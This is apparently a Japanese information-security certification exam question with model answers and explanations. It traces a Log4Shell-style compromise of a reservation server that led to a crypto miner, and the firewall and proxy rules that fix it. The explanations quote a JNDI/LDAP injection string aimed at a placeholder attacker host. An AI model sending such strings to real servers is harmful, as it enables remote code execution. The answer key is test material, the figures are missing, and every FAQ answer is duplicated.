情報処理安全確保支援士 2022年 秋期 午後1 問02
脆弱性に起因するセキュリティインシデントへの対応に関する次の記述を読んで、設問に答えよ。
U社は、従業員200名の食品製造業である。情報システム部がシステムを管理している。U社のネットワーク構成を図1に、サーバの機能概要を表1に示す。


FWのフィルタリングルールを表2に示す。

〔セキュリティインシデントの報告と調査〕
ある日、予約サーバでCPU使用率が高い状態が継続するという問題が発生した。情報システム部の予約サーバの担当者が調査したところ、普段予約サーバでは、BSoftMainとSBMainというTソフトのプロセスが稼働しているが、この日はrunという名称の見慣れないプロセス(以下、runプロセスという)も稼働していた。サーバ内で一定間隔で取得しているプロセスの一覧から、runプロセスが13:07:00からCPU使用率を上げていたことが判明した。
この結果を受け、情報システム部のD主任はセキュリティインシデントの疑いがあると判断し、上司に報告の上、予約サーバの調査を開始した。
13:07:00における予約サーバのプロセス一覧とコネクション一覧を表3と表4にそれぞれ示す。


表3と表4からrunプロセスの外部への通信の有無を確認したところ、IPアドレスがaのホストに対して通信を行っていたことが確認できた。また、aを確認したところ、海外のIPアドレスであり、予約サーバの通信先として想定されているものではなかった。D主任は上司に報告し、予約サーバをネットワークから隔離した。
〔予約サーバの調査〕
D主任は、①表3の内容から、runプロセスが稼働している原因の追究にはTソフトを調べる必要があると判断した。B社に状況を説明し、不具合やセキュリティ上の問題がないか確認したところ、U社が利用しているバージョンには、脆弱性があることが分かった。
その脆弱性とは、Tソフトが利用しているライブラリXというオープンソースのライブラリに存在する、リモートから任意のコードが実行可能となる脆弱性(以下、脆弱性Yという)である。ライブラリXと脆弱性Yの説明を図2に示す。

runプロセス起動前後の13:00:00から13:16:00までの、予約サーバのアクセスログを調査した結果、表5に示す、脆弱性Yを悪用したと考えられるアクセスログを発見した。

D主任はrunプロセスがどのような経緯で起動したかを調査するために、FWの通信ログを確認した。runプロセス起動前後の13:00:00から13:16:00までのFWの通信ログのうち、予約サーバを送信元とするものを表6に示す。

D主任はここまでの調査で分かった情報から、予約サーバへの攻撃の流れを表7のとおりまとめた。

U社がインシデント対応支援の契約をしているセキュリティベンダーの情報処理安全確保支援士(登録セキスペ)であるE氏の協力を得てrunプロセスについての調査を進めた結果、暗号資産採掘ソフトウェアであることが分かった。予約サーバにおいて、予約情報への不正なアクセスは確認できなかった。
〔会員サーバの調査〕
次に、会員サーバにおいて、ライブラリXの利用の有無及び同様の攻撃の有無を確認したところ、会員サーバにおいてもライブラリXでログ出力処理を行っていること、及び会員サーバにも予約サーバと同様の攻撃が行われたことを示すアクセスログが記録されていることが分かった。しかし、調査の結果、攻撃は失敗していたことが判明した。D主任は、攻撃が失敗したのは、攻撃者が会員サーバにログインするための利用者IDとパスワードを知らなかったからだと考えた。しかし、E氏は、②脆弱性Yは認証前のアクセスでも悪用できるので、そうではないと指摘した。予約サーバとは違って攻撃が失敗したのは、③別の理由だとD主任に説明した。
〔脆弱性への対応〕
D主任は上司に調査結果を報告した。その後、予約サーバは、OS及び必要なソフトウェアをクリーンインストールし、バックアップデータから復旧を行った。さらに、予約サーバと会員サーバについて、脆弱性Yに対する脆弱性修正プログラムを適用した。
〔再発防止策の検討〕
続けて、D主任は外部への不正通信が発生したことへの再発防止策を、E氏とともに検討した。再発防止策として、予約サーバからインターネットへの通に関する設定を変更することにした。必要な設定変更内容は次のとおりである。
・予約サーバを起点とするインターネットへのHTTPS通信は、プロキシサーバを中継させる設定とする。
・FWフィルタリングルールについて、表2の項番2を削除する。
・URLフィルタリングルールについて、表8に示す内容で設定する。

検討した再発防止策は採用され、今回の対応を完了した。
設問1:
本文中のaに入れる適切なIPアドレスを、表4中の宛先から選び、答えよ。
模範解答
a:a3.b3.c3.d3
解説
解答の論理構成
- 【問題文】には「runプロセスの外部への通信の有無を確認したところ、IPアドレスがaのホストに対して通信を行っていた」とあります。
- runプロセスのプロセス ID は【表3】の「200」です。
- 【表4】でプロセス ID が「200」の行を探すと、宛先 IP アドレスは「a3.b3.c3.d3」であり、サービスは HTTP です。
- よって、a に入るのは【表4】中で runプロセス(ID200)が通信した唯一の宛先「a3.b3.c3.d3」と判断できます。
誤りやすいポイント
- runプロセスの ID を見落とし、CPU 使用率が高い別プロセスを誤って抽出してしまう。
- 【表4】でプロセス ID を確認せずに、単純に最初に現れる IP アドレスを選んでしまう。
- 送信元・宛先の方向を取り違え、HTTPS 通信(ID110)を runプロセスの通信だと誤解する。
FAQ
Q: 「run」プロセスが本当に不審かどうかはどこで判断できますか?
A: 【問題文】に「見慣れないプロセス」と明記され、さらに CPU 使用率上昇が確認されています。通常稼働している BSoftMain・SBMain 以外のプロセスは不審と判断します。
A: 【問題文】に「見慣れないプロセス」と明記され、さらに CPU 使用率上昇が確認されています。通常稼働している BSoftMain・SBMain 以外のプロセスは不審と判断します。
Q: HTTPS 通信(ID110)を runプロセスの通信と誤認しないコツは?
A: 【表4】の「プロセス ID」列を必ず確認してください。runプロセスは ID200 と明示されており、ID110 は SBMain プロセスです。
A: 【表4】の「プロセス ID」列を必ず確認してください。runプロセスは ID200 と明示されており、ID110 は SBMain プロセスです。
Q: IP アドレスが海外かどうかは解答に影響しますか?
A: 今回の設問はあくまで「runプロセスが通信した宛先を特定」することが目的です。海外かどうかは背景情報であり、解答自体は【表4】の該当行だけで決まります。
A: 今回の設問はあくまで「runプロセスが通信した宛先を特定」することが目的です。海外かどうかは背景情報であり、解答自体は【表4】の該当行だけで決まります。
関連キーワード: プロセスID, コネクション一覧、外部通信、HTTP, 不正プロセス
設問2:予約サーバの調査について答えよ。
(1)本文中の下線①について、Tソフトを調べれば分かると判断した理由を、40字以内で具体的に答えよ。
模範解答
runプロセスの親プロセスがTソフトのプロセスであるから
解説
解答の論理構成
- 【問題文】の表3には
「100 … java BSoftMain」
「200 100 … run」
とあります。この記述から run プロセス (PID 200) の親プロセス ID は 100 であると読み取れます。 - 同じ表3で PID 100 が java BSoftMain、すなわち Tソフトを構成するプロセスであることが分かります。
- プロセスツリーにおいて、子プロセスは親プロセスの実行結果として生成されるため、親が Tソフトであるなら run が起動した原因は Tソフト側に存在する可能性が高いと判断できます。
- 以上より、D主任は「Tソフトを調べれば原因が分かる」と結論づけ、調査対象をTソフトに絞り込みました。
誤りやすいポイント
- 表3の “親プロセス ID” を見落として、run が単独で起動したと誤解する。
- Tソフト=BSoftMain と SBMain の両方がある点を混同し、どちらが親か特定できない。
- “CPU使用率が高い”ことを直接の根拠と勘違いし、プロセスの親子関係を無視する。
FAQ
Q: SBMain ではなく BSoftMain が親プロセスになる理由は?
A: 表3の「親プロセス ID」が 100 であり、その 100 が java BSoftMain と明示されているためです。
A: 表3の「親プロセス ID」が 100 であり、その 100 が java BSoftMain と明示されているためです。
Q: 親プロセスがTソフトでも、外部から直接runが起動される可能性は?
A: サンドボックスや脆弱性経由で子プロセス生成コードが実行された可能性はありますが、少なくともプロセスツリー上はTソフト経由で生成された事実が優先して調査対象になります。
A: サンドボックスや脆弱性経由で子プロセス生成コードが実行された可能性はありますが、少なくともプロセスツリー上はTソフト経由で生成された事実が優先して調査対象になります。
Q: プロセスツリー解析の第一歩は?
A: 各プロセスの「親プロセス ID」と「開始時刻」を突き合わせ、異常プロセスがどの実行コンテキストから派生したかを把握することです。
A: 各プロセスの「親プロセス ID」と「開始時刻」を突き合わせ、異常プロセスがどの実行コンテキストから派生したかを把握することです。
関連キーワード: プロセスツリー、親子関係、ログ解析、インシデント調査
設問2:予約サーバの調査について答えよ。
(2)表中のb、cに入れる適切な時刻、表7中のd〜fに入れる適切な字句を答えよ。
模範解答
b:13:04:32
c:13:05:50
d:a8.b8.c8.d8
e:LDAP
f:JExp
解説
解答の論理構成
- 攻撃開始時刻 b
- 表5に「13:04:32」「a7.b7.c7.d7」「GET /index.html」「${jndi:ldap://a8.b8.c8.d8/JExp}」とあります。
- 表7「番号1」は “攻撃者が予約サーバに対して通信を行った” なので、アクセスログの時刻「13:04:32」が該当します。
➜ [ b ]=13:04:32
- LDAP通信発生時刻 [ c ]
- 表6に「13:05:50」「予約サーバ→a8.b8.c8.d8」「LDAP」「許可」とあります。
- 表7「番号2」は “予約サーバが、IPアドレスが[ d ]のホストの[ e ]サービスに[ f ]というクエリを送った” なので、この時刻を採用します。
➜ [ c ]=13:05:50
- 宛先IP [ d ]
- 上と同じ表6行にある宛先IPが「a8.b8.c8.d8」です。
➜ [ d ]=a8.b8.c8.d8
- 上と同じ表6行にある宛先IPが「a8.b8.c8.d8」です。
- サービス種別 [ e ]
- 同一行のサービス欄は「LDAP」です。
➜ [ e ]=LDAP
- 同一行のサービス欄は「LDAP」です。
- クエリ文字列 [ f ]
- 表5の攻撃文字列に「${jndi:ldap://a8.b8.c8.d8/JExp}」とあり、“/JExp” がクエリ名に相当します。
➜ f=JExp
- 表5の攻撃文字列に「${jndi:ldap://a8.b8.c8.d8/JExp}」とあり、“/JExp” がクエリ名に相当します。
誤りやすいポイント
- 「予約サーバ→a9.b9.c9.d9」のHTTP通信(13:06:05)をcに選んでしまう。これは番号3以降の動作であり番号2ではありません。
- クエリ名を「Exploit」と誤記。図2は説明用の例であり、本問の実データは「JExp」です。
- 表6の時刻と表5の時刻を混同し、前後関係を取り違える。
FAQ
Q: LDAP通信とHTTP通信の順序はどう判断しますか?
A: 図2の説明と表6の時系列を突き合わせると「LDAPで参照→返されたURLへHTTPで取得」という順序が確認できます。
A: 図2の説明と表6の時系列を突き合わせると「LDAPで参照→返されたURLへHTTPで取得」という順序が確認できます。
Q: なぜ13:05:50が番号2で確定なのですか?
A: 表6で唯一「LDAP」サービスが記録された時刻が「13:05:50」だからです。番号2の条件(LDAP通信)を満たすのはこの行のみです。
A: 表6で唯一「LDAP」サービスが記録された時刻が「13:05:50」だからです。番号2の条件(LDAP通信)を満たすのはこの行のみです。
Q: クエリ名はどこから読み取りますか?
A: 表5のユーザエージェント欄にある攻撃文字列 “${jndi:ldap://a8.b8.c8.d8/JExp}” の末尾 “JExp” がLDAPクエリ名です。
A: 表5のユーザエージェント欄にある攻撃文字列 “${jndi:ldap://a8.b8.c8.d8/JExp}” の末尾 “JExp” がLDAPクエリ名です。
関連キーワード: LDAP, JNDI, 攻撃ログ解析、外部通信制御、脆弱性悪用
設問3:会員サーバの調査について答えよ。
(1)本文中の下線②について、その理由を、40字以内で具体的に答えよ。
模範解答
ログ出力処理中に攻撃文字列が含まれれば悪用可能だから
解説
解答の論理構成
- 【問題文】には「ライブラリ X は Java のログ出力ライブラリである。」とあり、リクエストを受信すると認証の前後に関係なくログ出力処理が動作します。
- さらに「ライブラリ X を使用したログ出力処理の対象となる文字列中に特定の攻撃文字列が含まれる場合、攻撃者の用意した Java クラスが実行される可能性がある。」と記載されています。
- したがって攻撃者は、利用者IDやパスワードを知らなくても、攻撃文字列 ${jndi:ldap://…} を含むリクエストを送るだけでログ出力を誘発し、脆弱性Yを発動させられます。
- 以上より、脆弱性Yが「認証前のアクセスでも悪用できる」理由は「ログ出力処理に攻撃文字列が含まれれば発動する」ためです。
誤りやすいポイント
- 認証に成功しないとアプリケーションが動かないと考えてしまう。
- LDAP通信が失敗すると攻撃も失敗すると早合点し、ログ出力段階の実行条件を見落とす。
- ライブラリXが「標準で有効」とある点を読み飛ばし、無効化されている前提で判断してしまう。
FAQ
Q: 認証前にログは本当に出力されるのですか?
A: 多くのWebアプリケーションはアクセスログやエラーログをリクエスト受付直後に記録します。今回もその段階でライブラリ X が動作しています。
A: 多くのWebアプリケーションはアクセスログやエラーログをリクエスト受付直後に記録します。今回もその段階でライブラリ X が動作しています。
Q: LDAPサーバがなければ安全ですか?
A: いいえ。脆弱性YはLDAP以外にRMIやDNSなど複数プロトコル経由で悪用できます。通信経路を一つ塞いでも根本対策になりません。
A: いいえ。脆弱性YはLDAP以外にRMIやDNSなど複数プロトコル経由で悪用できます。通信経路を一つ塞いでも根本対策になりません。
Q: 修正パッチ適用以外に防げる方法は?
A: ライブラリXの外部参照機能を無効化する、防御的ファイアウォール設定で外向き通信を制限するなど多層防御が有効です。
A: ライブラリXの外部参照機能を無効化する、防御的ファイアウォール設定で外向き通信を制限するなど多層防御が有効です。
関連キーワード: ログ出力、JNDI, リモートコード実行、LDAP, 攻撃文字列
設問3:会員サーバの調査について答えよ。
(2)本文中の下線③について、攻撃が失敗した理由を、40字以内で具体的に答えよ。
模範解答
会員サーバからインターネット宛てのLDAP通信が許可されていないから
解説
解答の論理構成
-
脆弱性利用の前提
- 図2の説明では、攻撃成功には「LDAP」で攻撃者サーバへ問い合わせるフェーズが必須です。
- 予約サーバが成功した理由は、表2の「2 予約サーバ インターネット 全て 許可」により外向きLDAPが通過できたからです。
-
会員サーバ側の通信可否を確認
- 表2には会員サーバに対応する外向き許可ルールがありません。
- 「注記3 項番6〜11にはDMZ内のサーバとインターネットとの間…の通信に関するルールはない」とあるため、会員サーバのLDAPは項番12の「全て 全て 全て 拒否」で遮断されます。
-
認証有無との関係
- 本文中でE氏が「②脆弱性Yは認証前のアクセスでも悪用できる」と指摘しており、ID・パスワードは無関係と確定します。
-
結論
よって攻撃失敗の直接原因は「会員サーバが攻撃者のLDAPサーバに到達できなかった」ことです。
誤りやすいポイント
- 「HTTPSが許可されているからLDAPも通る」と早合点する
- 認証が必要だから攻撃が失敗したと考えてしまう
- 予約サーバと会員サーバのFWルール差分を見落とす
- 項番12のデフォルト拒否ルールを忘れる
FAQ
Q: HTTPS通信が通っているのに、なぜHTTP経由の攻撃も防げなかったのですか?
A: 攻撃の最初の問い合わせがLDAPでブロックされたため、後続のHTTP取得フェーズまで到達しませんでした。
A: 攻撃の最初の問い合わせがLDAPでブロックされたため、後続のHTTP取得フェーズまで到達しませんでした。
Q: 予約サーバのように「全て許可」ルールを残したままでもURLフィルタリングで止められませんか?
A: HTTPS通信ではFWを素通りするため、URLフィルタリングで中継させない限りTLS復号ができず、不正先を判断できません。
A: HTTPS通信ではFWを素通りするため、URLフィルタリングで中継させない限りTLS復号ができず、不正先を判断できません。
Q: DMZに置くだけでは十分ではないのですか?
A: DMZ配置は外部公開サーバの内部侵入を遅らせる手段であり、外向き通信制御を設計しなければマルウェアによる外部通信を防げません。
A: DMZ配置は外部公開サーバの内部侵入を遅らせる手段であり、外向き通信制御を設計しなければマルウェアによる外部通信を防げません。
関連キーワード: LDAP, ファイアウォール、JNDI, ステートフルインスペクション、DMZ
設問4:
表8中のg〜iに入れる適切な字句を答えよ。
模範解答
g:予約サーバ
h:SNS投稿用のサーバのURL
i:全て
解説
解答の論理構成
-
ルールを適用する送信元の特定
問題文では再発防止策として「予約サーバを起点とするインターネットへのHTTPS通信は、プロキシサーバを中継させる設定とする。」とあります。従って表8の「アクセス元 IP アドレス」は“予約サーバ”でなければなりません。
g = 「予約サーバ」 -
許可すべき通信先の抽出
表1の予約サーバの説明に「工場見学の空き状況はU社のSNSアカウントを利用して、クラウドサービス上の複数のSNS投稿用のサーバに対してHTTPSで定期的に投稿される。」と記載されています。予約サーバが外部へ正規に送るのはこの投稿だけなので、許可リストにはそのURL群を指定します。
h = 「SNS投稿用のサーバのURL」 -
それ以外は全て拒否
プロキシサーバの仕様では「拒否リストに“全て”を指定すると、許可リストに指定したURL以外のURLへの通信が拒否される。」と明言されています。不正通信を遮断するにはこの設定が必須です。
i = 「全て」
誤りやすいポイント
- 「アクセス元 IP アドレス」を“プロキシサーバ”と誤解する。設問は予約サーバから外部への通信を制限する目的であり、送信元は予約サーバです。
- 許可リストに“全て”を入れてしまい、事実上フィルタが機能しなくなる。
- 拒否リストを空欄のままにしてしまい、「どのリストにも該当しないURLは、アクセスが許可される」という仕様を見落とす。
FAQ
Q: SNS投稿用サーバが複数ある場合、どう書けばよいですか?
A: 具体的なドメインまたはURLパターンを複数行で列挙するか、ワイルドカードでグルーピングしてください。許可リストは必要なものだけを網羅します。
A: 具体的なドメインまたはURLパターンを複数行で列挙するか、ワイルドカードでグルーピングしてください。許可リストは必要なものだけを網羅します。
Q: 予約サーバはDNSも利用しますが、DNSを許可リストに入れなくてよいのですか?
A: DNSはFWの項番5で「プロキシサーバ → インターネット」のみ許可されています。予約サーバは直接DNSへ出ないため、URLフィルタリングルールには不要です。
A: DNSはFWの項番5で「プロキシサーバ → インターネット」のみ許可されています。予約サーバは直接DNSへ出ないため、URLフィルタリングルールには不要です。
Q: 将来SNS以外のAPI連携が増えた場合は?
A: 追加時に許可リストへ新たなURLを登録し、最小権限の原則を維持してください。段階的に見直すことが重要です。
A: 追加時に許可リストへ新たなURLを登録し、最小権限の原則を維持してください。段階的に見直すことが重要です。
関連キーワード: フォワードプロキシ、URLフィルタリング、ホワイトリスト、ブラックリスト、最小権限


